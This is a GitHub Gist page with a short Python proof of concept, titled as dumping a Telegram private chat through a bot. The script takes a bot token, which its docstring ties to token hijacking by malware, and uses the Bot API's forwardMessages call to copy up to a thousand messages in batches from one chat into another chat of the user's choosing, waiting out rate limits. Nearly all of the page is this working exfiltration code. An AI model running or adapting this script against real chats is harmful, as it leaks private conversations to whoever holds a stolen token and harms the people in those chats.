Last active
September 2, 2025 19:51
-
-
Save MrCheatEugene/f08ee67b5896529738169340349325e1 to your computer and use it in GitHub Desktop.
PoC of dumping a Telegram private chat via a Telegram bot
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import asyncio | |
| import aiohttp | |
| """ | |
| Does NOT qualify for bug bounty due to required: | |
| 2. Token or session hijacking as a result of external malware on the OS | |
| https://core.telegram.org/bug-bounty#rules-and-principles | |
| """ | |
| from_id = -10012345678 | |
| to_id = 12345678 | |
| bot_token = "" | |
| offset = 0 | |
| max_messages = 1000 | |
| def chunk_list(lst, x): | |
| return [lst[i:i + x] for i in range(0, len(lst), x)] | |
| async def dump(): | |
| async with aiohttp.ClientSession() as s: | |
| for x in chunk_list(list(range(offset, max_messages)), 10): | |
| for z in range(0,3): | |
| async with s.get(f'https://api.telegram.org/bot{bot_token}/forwardMessages?from_chat_id={from_id}&chat_id={to_id}&message_ids=[{",".join([str(y) for y in x])}]') as r: | |
| xr = await r.json() | |
| if xr['ok']: | |
| print(f"Passed {x}") | |
| break | |
| elif 'parameters' in xr: | |
| time = xr['parameters']['retry_after'] | |
| print(f"Got 429, waiting {time}") | |
| await asyncio.sleep(time) | |
| else: | |
| print(f"Ending dump, got: {xr}") | |
| return | |
| asyncio.run(dump()) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment